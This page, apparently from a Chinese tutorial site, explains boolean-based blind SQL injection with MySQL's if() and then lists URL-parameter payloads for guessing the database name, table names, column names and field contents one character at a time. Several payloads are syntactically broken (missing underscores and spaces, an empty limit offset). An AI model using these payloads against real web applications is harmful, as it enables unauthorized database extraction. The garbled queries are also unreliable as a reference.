玖叶教程网

前端编程开发入门

sql注入之布尔盲注

布尔盲注

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

判断

条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if([条件],[值1],[值2] )

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

布尔型盲注入用到的 SQL 语句 select if(1=1,1,0)。if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句

1' and if(1=1,1,0)# ( --+)
页面返回正常,这个语句实际上是 1' and 1,真 and 真,结果为真,1 是存在记录的。所以返回正确页面。

1' and if(1=2,1,0)--+
页面返回错误,这个语句就是 1' and 0,真 and 假,结果为假,整个 SQL 的值也是 0,所以没有记录,返回错误页面


猜数据库的长度;
?id=1 and (length(database()))>11#
猜测数据库的库名:

?id=1 and ascii(substr(database(),1,1))>1#
猜表名
?id=1and length((select table name from information schema.tables where table schema=data limit0,1))=3
?id=1and substr((select table name from information schema.tables where table schema='ka' limit0,1),1,1)='l'
猜第一个字段名第一个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),1,1)='i'
猜第一个字段名第二个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),2,1)='i'
猜第二个字段名:
?id=1and substr((select column name from information schema.columns where table name='lt' limit1,1),2,1)='i'
猜字段中的内容:

?id=1and (ascii(substr(( select flag from lf limit ,1),1,1)))=12

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言